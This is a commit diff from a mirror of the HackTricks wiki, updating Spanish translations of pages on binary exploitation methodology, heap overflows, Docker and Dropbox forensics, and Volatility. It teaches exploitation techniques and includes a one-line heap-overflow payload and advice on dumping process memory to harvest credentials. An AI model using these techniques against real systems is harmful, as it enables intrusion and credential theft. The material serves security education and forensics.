mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
0a045c98bd
commit
b58d58c77e
@ -25,11 +25,11 @@ Con tantas técnicas, es bueno tener un esquema de cuándo cada técnica será
|
||||
Hay diferentes formas en las que podrías terminar controlando el flujo de un programa:
|
||||
|
||||
- [**Desbordamientos de Pila**](../stack-overflow/) sobrescribiendo el puntero de retorno desde la pila o el EBP -> ESP -> EIP.
|
||||
- Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
|
||||
- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
|
||||
- O a través de **Escrituras Arbitrarias + Escribir Qué Dónde para Ejecución**.
|
||||
- [**Cadenas de Formato**](../format-strings/)**:** Abusar de `printf` para escribir contenido arbitrario en direcciones arbitrarias.
|
||||
- [**Indexación de Arreglos**](../array-indexing.md): Abusar de una indexación mal diseñada para poder controlar algunos arreglos y obtener una escritura arbitraria.
|
||||
- Podría ser necesario abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
|
||||
- Puede que necesites abusar de un [**Desbordamiento de Entero**](../integer-overflow.md) para causar el desbordamiento.
|
||||
- **bof a WWW vía ROP**: Abusar de un desbordamiento de búfer para construir un ROP y poder obtener un WWW.
|
||||
|
||||
Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
|
||||
@ -43,24 +43,24 @@ Puedes encontrar las técnicas de **Escribir Qué Dónde para Ejecución** en:
|
||||
Algo a tener en cuenta es que generalmente **solo una explotación de una vulnerabilidad puede no ser suficiente** para ejecutar un exploit exitoso, especialmente algunas protecciones necesitan ser eludidas. Por lo tanto, es interesante discutir algunas opciones para **hacer que una sola vulnerabilidad sea explotable varias veces** en la misma ejecución del binario:
|
||||
|
||||
- Escribir en una **cadena ROP** la dirección de la **función `main`** o la dirección donde está ocurriendo la **vulnerabilidad**.
|
||||
- Controlando una cadena ROP adecuada, podrías ser capaz de realizar todas las acciones en esa cadena.
|
||||
- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para **volver a la vulnerabilidad**.
|
||||
- Controlando una cadena ROP adecuada, podrías realizar todas las acciones en esa cadena.
|
||||
- Escribir en la **dirección `exit` en GOT** (o cualquier otra función utilizada por el binario antes de finalizar) la dirección para volver **a la vulnerabilidad**.
|
||||
- Como se explicó en [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** almacenar 2 funciones aquí, una para llamar a la vulnerabilidad nuevamente y otra para llamar a **`__libc_csu_fini`** que volverá a llamar a la función de `.fini_array`.
|
||||
|
||||
## Objetivos de Explotación
|
||||
|
||||
### Objetivo: Llamar a una Función Existente
|
||||
|
||||
- [**ret2win**](./#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera.
|
||||
- [**ret2win**](#ret2win): Hay una función en el código que necesitas llamar (quizás con algunos parámetros específicos) para obtener la bandera.
|
||||
- En un **bof regular sin** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) solo necesitas escribir la dirección en la dirección de retorno almacenada en la pila.
|
||||
- En un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), necesitarás eludirlo.
|
||||
- En un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), necesitarás eludirlo.
|
||||
- Si necesitas establecer varios parámetros para llamar correctamente a la función **ret2win**, puedes usar:
|
||||
- Una [**cadena ROP**](./#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros.
|
||||
- Una [**cadena ROP**](#rop-and-ret2...-techniques) **si hay suficientes gadgets** para preparar todos los parámetros.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (en caso de que puedas llamar a esta syscall) para controlar muchos registros.
|
||||
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
|
||||
- A través de un [**Escribir Qué Dónde**](../arbitrary-write-2-exec/) podrías abusar de otras vulnerabilidades (no bof) para llamar a la función **`win`**.
|
||||
- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
|
||||
- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
|
||||
- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
|
||||
|
||||
@ -68,8 +68,8 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
||||
|
||||
#### A través de shellcode, si nx está deshabilitado o mezclando shellcode con ROP:
|
||||
|
||||
- [**(Stack) Shellcode**](./#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo:
|
||||
- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (filtrar).
|
||||
- [**(Stack) Shellcode**](#stack-shellcode): Esto es útil para almacenar un shellcode en la pila antes o después de sobrescribir el puntero de retorno y luego **saltar a él** para ejecutarlo:
|
||||
- **En cualquier caso, si hay un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** en un bof regular necesitarás eludirlo (leak).
|
||||
- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) es posible saltar a la dirección de la pila ya que nunca cambiará.
|
||||
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) necesitarás técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para saltar a ella.
|
||||
- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), necesitarás usar algún [**ROP**](../rop-return-oriented-programing/) **para llamar a `memprotect`** y hacer que alguna página sea `rwx`, para luego **almacenar el shellcode allí** (llamando a read, por ejemplo) y luego saltar allí.
|
||||
@ -77,7 +77,7 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
||||
|
||||
#### A través de syscalls
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas ser capaz de encontrar los **gadgets para llamar a la syscall específica con los parámetros**.
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Útil para llamar a `execve` para ejecutar comandos arbitrarios. Necesitas poder encontrar los **gadgets para llamar a la syscall específica con los parámetros**.
|
||||
- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) están habilitados, necesitarás derrotarlos **para usar gadgets ROP** del binario o bibliotecas.
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) puede ser útil para preparar el **ret2execve**.
|
||||
- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) y [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar varios registros.
|
||||
@ -85,8 +85,8 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
||||
#### A través de libc
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Útil para llamar a una función de una biblioteca (generalmente de **`libc`**) como **`system`** con algunos argumentos preparados (por ejemplo, `'/bin/sh'`). Necesitas que el binario **cargue la biblioteca** con la función que te gustaría llamar (libc generalmente).
|
||||
- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
|
||||
- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas estáticamente.
|
||||
- Si **compilado estáticamente y sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
|
||||
- **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no van a cambiar, por lo que es posible usarlas de forma estática.
|
||||
- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conociendo la libc y con el binario usando la función `system`** es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (necesitarás averiguarlo).
|
||||
- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario use la `system`**:
|
||||
- Usar [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
|
||||
@ -94,17 +94,17 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
||||
- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/) **y sin conocer la libc**: Necesitas:
|
||||
- Eludir [**PIE**](../common-binary-protections-and-bypasses/pie/).
|
||||
- Encontrar la **versión de `libc`** utilizada (filtrar un par de direcciones de funciones).
|
||||
- Revisar los **escenarios anteriores con ASLR** para continuar.
|
||||
- Comprobar los **escenarios anteriores con ASLR** para continuar.
|
||||
|
||||
#### A través de EBP/RBP
|
||||
|
||||
- [**Pivotar Pila / EBP2Ret / Encadenamiento EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar el ESP para controlar RET a través del EBP almacenado en la pila.
|
||||
- Útil para **desbordamientos de pila off-by-one**.
|
||||
- Útil como una forma alternativa de terminar controlando EIP mientras abusas de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
|
||||
- Útil como una forma alternativa de terminar controlando EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
|
||||
|
||||
#### Varios
|
||||
#### Miscelánea
|
||||
|
||||
- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a utilizar por una función interesante (system o printf), es posible sobrescribir esa dirección.
|
||||
- [**Redireccionamiento de Punteros**](../stack-overflow/pointer-redirecting.md): En caso de que la pila contenga punteros a una función que se va a llamar o a una cadena que se va a usar por una función interesante (system o printf), es posible sobrescribir esa dirección.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) pueden afectar las direcciones.
|
||||
- [**Variables No Inicializadas**](../stack-overflow/uninitialized-variables.md): Nunca se sabe.
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@ Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overf
|
||||
En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se van a restaurar desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de heap, **no hay información sensible almacenada por defecto** en el bloque de heap que puede ser desbordado. Sin embargo, podría haber información sensible o punteros, por lo que la **criticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto.
|
||||
|
||||
> [!TIP]
|
||||
> Para encontrar los desplazamientos de desbordamiento, puedes usar los mismos patrones que en [**desbordamientos de pila**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
> Para encontrar los desplazamientos de desbordamiento, puedes usar los mismos patrones que en [**desbordamientos de pila**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
|
||||
### Desbordamientos de Pila vs Desbordamientos de Heap
|
||||
|
||||
@ -17,9 +17,9 @@ En los desbordamientos de pila, la disposición y los datos que van a estar pres
|
||||
|
||||
Sin embargo, en el caso de un desbordamiento de heap, la memoria utilizada no es lineal, sino que **los bloques asignados suelen estar en posiciones separadas de la memoria** (no uno al lado del otro) debido a **bins y zonas** que separan las asignaciones por tamaño y porque **la memoria previamente liberada se utiliza** antes de asignar nuevos bloques. Es **complicado saber el objeto que va a colisionar con el que es vulnerable** a un desbordamiento de heap. Por lo tanto, cuando se encuentra un desbordamiento de heap, es necesario encontrar una **manera confiable de hacer que el objeto deseado esté al lado en memoria** del que puede ser desbordado.
|
||||
|
||||
Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza por ejemplo [**en esta publicación**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En la publicación se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
|
||||
Una de las técnicas utilizadas para esto es **Heap Grooming**, que se utiliza, por ejemplo, [**en este post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). En el post se explica cómo, cuando en el kernel de iOS una zona se queda sin memoria para almacenar bloques de memoria, se expande por una página del kernel, y esta página se divide en bloques de los tamaños esperados que se utilizarían en orden (hasta la versión 9.2 de iOS, luego estos bloques se utilizan de manera aleatoria para dificultar la explotación de estos ataques).
|
||||
|
||||
Por lo tanto, en la publicación anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**.
|
||||
Por lo tanto, en el post anterior donde ocurre un desbordamiento de heap, para forzar que el objeto desbordado colisione con un objeto víctima, se **forzan varios `kallocs` por varios hilos para intentar asegurar que todos los bloques libres estén llenos y que se cree una nueva página**.
|
||||
|
||||
Para forzar este llenado con objetos de un tamaño específico, la **asignación fuera de línea asociada con un puerto mach de iOS** es un candidato ideal. Al elaborar el tamaño del mensaje, es posible especificar exactamente el tamaño de la asignación `kalloc` y cuando el puerto mach correspondiente se destruye, la asignación correspondiente se liberará inmediatamente de nuevo a `kfree`.
|
||||
|
||||
@ -27,7 +27,7 @@ Luego, algunos de estos marcadores de posición pueden ser **liberados**. La **l
|
||||
|
||||
### Ejemplo libc
|
||||
|
||||
[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribiendo el bit de anterior en uso del siguiente bloque y la posición del tamaño anterior es posible **consolidar un bloque usado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que se están utilizando en un puntero diferente también.
|
||||
[**En esta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) es posible encontrar una emulación básica de desbordamiento de heap que muestra cómo sobrescribir el bit de uso previo del siguiente bloque y la posición del tamaño previo es posible **consolidar un bloque utilizado** (haciéndolo pensar que es no utilizado) y **luego asignarlo nuevamente** pudiendo sobrescribir datos que están siendo utilizados en un puntero diferente también.
|
||||
|
||||
Otro ejemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) muestra un ejemplo muy básico de un CTF donde un **desbordamiento de heap** puede ser abusado para llamar a la función ganadora para **obtener la bandera**.
|
||||
|
||||
@ -35,14 +35,14 @@ En el ejemplo de [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_o
|
||||
|
||||
### Ejemplo ARM64
|
||||
|
||||
En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Así que, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como:
|
||||
En la página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puedes encontrar un ejemplo de desbordamiento de heap donde un comando que se va a ejecutar se almacena en el siguiente bloque del bloque desbordado. Por lo tanto, es posible modificar el comando ejecutado sobrescribiéndolo con un exploit fácil como:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
### Otros ejemplos
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- Usamos una vulnerabilidad de desbordamiento de enteros para obtener un desbordamiento de heap.
|
||||
- Usamos una vulnerabilidad de desbordamiento de entero para obtener un desbordamiento de heap.
|
||||
- Corrompemos punteros a una función dentro de un `struct` del chunk desbordado para establecer una función como `system` y obtener ejecución de código.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
## Modificación de contenedores
|
||||
|
||||
Existen sospechas de que algún contenedor de docker fue comprometido:
|
||||
Hay sospechas de que algún contenedor de docker fue comprometido:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
@ -25,7 +25,7 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
En el comando anterior, **C** significa **Cambiado** y **A,** **Agregado**.\
|
||||
En el comando anterior, **C** significa **Cambiado** y **A,** **Añadido**.\
|
||||
Si encuentras que algún archivo interesante como `/etc/shadow` fue modificado, puedes descargarlo del contenedor para verificar actividad maliciosa con:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
@ -36,7 +36,7 @@ docker run -d lamp-wordpress
|
||||
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
|
||||
diff original_shadow shadow
|
||||
```
|
||||
Si encuentras que **se añadió un archivo sospechoso** puedes acceder al contenedor y verificarlo:
|
||||
Si encuentras que **se añadió algún archivo sospechoso**, puedes acceder al contenedor y verificarlo:
|
||||
```bash
|
||||
docker exec -it wordpress bash
|
||||
```
|
||||
@ -59,7 +59,7 @@ Puedes obtener **información básica** de la imagen ejecutando:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
También puedes obtener un resumen **historia de cambios** con:
|
||||
También puedes obtener un resumen **histórico de cambios** con:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
@ -89,9 +89,8 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don
|
||||
```
|
||||
## Credenciales de la memoria
|
||||
|
||||
Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef`
|
||||
|
||||
Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** justo [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef`.
|
||||
|
||||
Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/index.html#process-memory).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -65,7 +65,7 @@ Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.n
|
||||
|
||||
.png>)
|
||||
|
||||
Si todo va como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) poniendo la clave primaria como la "frase de paso" dentro de la receta.
|
||||
Si todo sale como se espera, la herramienta indicará la **clave primaria** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) poniendo la clave primaria como la "frase de paso" dentro de la receta.
|
||||
|
||||
El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede descifrar con:
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ La base de datos **`filecache.db`** contiene información sobre todos los archiv
|
||||
Otras tablas dentro de esta base de datos contienen información más interesante:
|
||||
|
||||
- **block_cache**: hash de todos los archivos y carpetas de Dropbox
|
||||
- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal`
|
||||
- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
|
||||
- **mount_table**: Carpetas compartidas de Dropbox
|
||||
- **deleted_fields**: Archivos eliminados de Dropbox
|
||||
- **date_added**
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
## Modificación de contenedores
|
||||
|
||||
Existen sospechas de que algún contenedor de docker fue comprometido:
|
||||
Hay sospechas de que algún contenedor de docker fue comprometido:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
@ -25,7 +25,7 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI
|
||||
A /var/lib/mysql/mysql/general_log.CSV
|
||||
...
|
||||
```
|
||||
En el comando anterior, **C** significa **Cambiado** y **A,** **Agregado**.\
|
||||
En el comando anterior, **C** significa **Cambiado** y **A,** **Añadido**.\
|
||||
Si encuentras que algún archivo interesante como `/etc/shadow` fue modificado, puedes descargarlo del contenedor para verificar actividad maliciosa con:
|
||||
```bash
|
||||
docker cp wordpress:/etc/shadow.
|
||||
@ -59,7 +59,7 @@ Puedes obtener **información básica** de la imagen ejecutando:
|
||||
```bash
|
||||
docker inspect <image>
|
||||
```
|
||||
También puedes obtener un resumen **historia de cambios** con:
|
||||
También puedes obtener un resumen **histórico de cambios** con:
|
||||
```bash
|
||||
docker history --no-trunc <image>
|
||||
```
|
||||
@ -70,7 +70,7 @@ dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
|
||||
```
|
||||
### Dive
|
||||
|
||||
Para encontrar archivos añadidos/modificados en imágenes de docker, también puedes usar la [**dive**](https://github.com/wagoodman/dive) (descárgalo de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)):
|
||||
Para encontrar archivos añadidos/modificados en imágenes de docker, también puedes usar la [**dive**](https://github.com/wagoodman/dive) (descárgalo de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utilidad:
|
||||
```bash
|
||||
#First you need to load the image in your docker repo
|
||||
sudo docker load < image.tar 1 ⨯
|
||||
@ -89,9 +89,9 @@ for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; don
|
||||
```
|
||||
## Credenciales de la memoria
|
||||
|
||||
Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef`
|
||||
Note que cuando ejecuta un contenedor de docker dentro de un host **puede ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef`
|
||||
|
||||
Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/#process-memory).
|
||||
Por lo tanto (como root) puede **volcar la memoria de los procesos** desde el host y buscar **credenciales** justo [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/index.html#process-memory).
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -58,7 +58,7 @@ Volatility tiene dos enfoques principales para los plugins, que a veces se refle
|
||||
|
||||
Eso hace que los plugins “list” sean bastante rápidos, pero igual de vulnerables a la manipulación por malware que la API de Windows. Por ejemplo, si el malware utiliza DKOM para desvincular un proceso de la lista enlazada `_EPROCESS`, no aparecerá en el Administrador de Tareas ni en el pslist.
|
||||
|
||||
Los plugins “scan”, por otro lado, adoptarán un enfoque similar a la extracción de memoria para cosas que podrían tener sentido cuando se desreferencian como estructuras específicas. `psscan`, por ejemplo, leerá la memoria e intentará crear objetos `_EPROCESS` a partir de ella (utiliza escaneo de etiquetas de pool, que busca cadenas de 4 bytes que indican la presencia de una estructura de interés). La ventaja es que puede recuperar procesos que han salido, e incluso si el malware manipula la lista enlazada `_EPROCESS`, el plugin aún encontrará la estructura en memoria (ya que aún necesita existir para que el proceso se ejecute). La desventaja es que los plugins “scan” son un poco más lentos que los plugins “list”, y a veces pueden generar falsos positivos (un proceso que salió hace demasiado tiempo y tuvo partes de su estructura sobrescritas por otras operaciones).
|
||||
Los plugins “scan”, por otro lado, adoptarán un enfoque similar al carving de la memoria para cosas que podrían tener sentido cuando se desreferencian como estructuras específicas. `psscan`, por ejemplo, leerá la memoria e intentará crear objetos `_EPROCESS` a partir de ella (utiliza escaneo de etiquetas de pool, que busca cadenas de 4 bytes que indican la presencia de una estructura de interés). La ventaja es que puede encontrar procesos que han salido, e incluso si el malware manipula la lista enlazada `_EPROCESS`, el plugin aún encontrará la estructura en la memoria (ya que aún necesita existir para que el proceso se ejecute). La desventaja es que los plugins “scan” son un poco más lentos que los plugins “list”, y a veces pueden dar falsos positivos (un proceso que salió hace demasiado tiempo y tuvo partes de su estructura sobrescritas por otras operaciones).
|
||||
|
||||
De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
|
||||
|
||||
@ -81,7 +81,7 @@ Puedes obtener la lista de perfiles soportados haciendo:
|
||||
```bash
|
||||
./volatility_2.6_lin64_standalone --info | grep "Profile"
|
||||
```
|
||||
Si deseas usar un **nuevo perfil que has descargado** (por ejemplo, uno de linux) necesitas crear en algún lugar la siguiente estructura de carpetas: _plugins/overlays/linux_ y poner dentro de esta carpeta el archivo zip que contiene el perfil. Luego, obtén el número de los perfiles usando:
|
||||
Si deseas usar un **nuevo perfil que has descargado** (por ejemplo, uno de linux), necesitas crear en algún lugar la siguiente estructura de carpetas: _plugins/overlays/linux_ y poner dentro de esta carpeta el archivo zip que contiene el perfil. Luego, obtén el número de los perfiles usando:
|
||||
```bash
|
||||
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
|
||||
Volatility Foundation Volatility Framework 2.6
|
||||
@ -106,7 +106,7 @@ volatility kdbgscan -f file.dmp
|
||||
```
|
||||
#### **Diferencias entre imageinfo y kdbgscan**
|
||||
|
||||
[**Desde aquí**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A diferencia de imageinfo, que simplemente proporciona sugerencias de perfil, **kdbgscan** está diseñado para identificar positivamente el perfil correcto y la dirección KDBG correcta (si es que hay múltiples). Este plugin escanea las firmas KDBGHeader vinculadas a los perfiles de Volatility y aplica verificaciones de sensatez para reducir los falsos positivos. La verbosidad de la salida y el número de verificaciones de sensatez que se pueden realizar dependen de si Volatility puede encontrar un DTB, así que si ya conoces el perfil correcto (o si tienes una sugerencia de perfil de imageinfo), asegúrate de usarlo desde .
|
||||
[**Desde aquí**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): A diferencia de imageinfo, que simplemente proporciona sugerencias de perfil, **kdbgscan** está diseñado para identificar positivamente el perfil correcto y la dirección KDBG correcta (si es que hay múltiples). Este plugin escanea las firmas KDBGHeader vinculadas a los perfiles de Volatility y aplica verificaciones de sanidad para reducir los falsos positivos. La verbosidad de la salida y el número de verificaciones de sanidad que se pueden realizar dependen de si Volatility puede encontrar un DTB, así que si ya conoces el perfil correcto (o si tienes una sugerencia de perfil de imageinfo), asegúrate de usarlo desde .
|
||||
|
||||
Siempre revisa el **número de procesos que kdbgscan ha encontrado**. A veces, imageinfo y kdbgscan pueden encontrar **más de uno** **perfil** adecuado, pero solo el **válido tendrá algún proceso relacionado** (Esto se debe a que para extraer procesos se necesita la dirección KDBG correcta).
|
||||
```bash
|
||||
@ -122,9 +122,9 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
|
||||
```
|
||||
#### KDBG
|
||||
|
||||
El **bloque de depuración del kernel**, conocido como **KDBG** por Volatility, es crucial para las tareas forenses realizadas por Volatility y varios depuradores. Identificado como `KdDebuggerDataBlock` y del tipo `_KDDEBUGGER_DATA64`, contiene referencias esenciales como `PsActiveProcessHead`. Esta referencia específica apunta a la cabeza de la lista de procesos, lo que permite listar todos los procesos, lo cual es fundamental para un análisis exhaustivo de la memoria.
|
||||
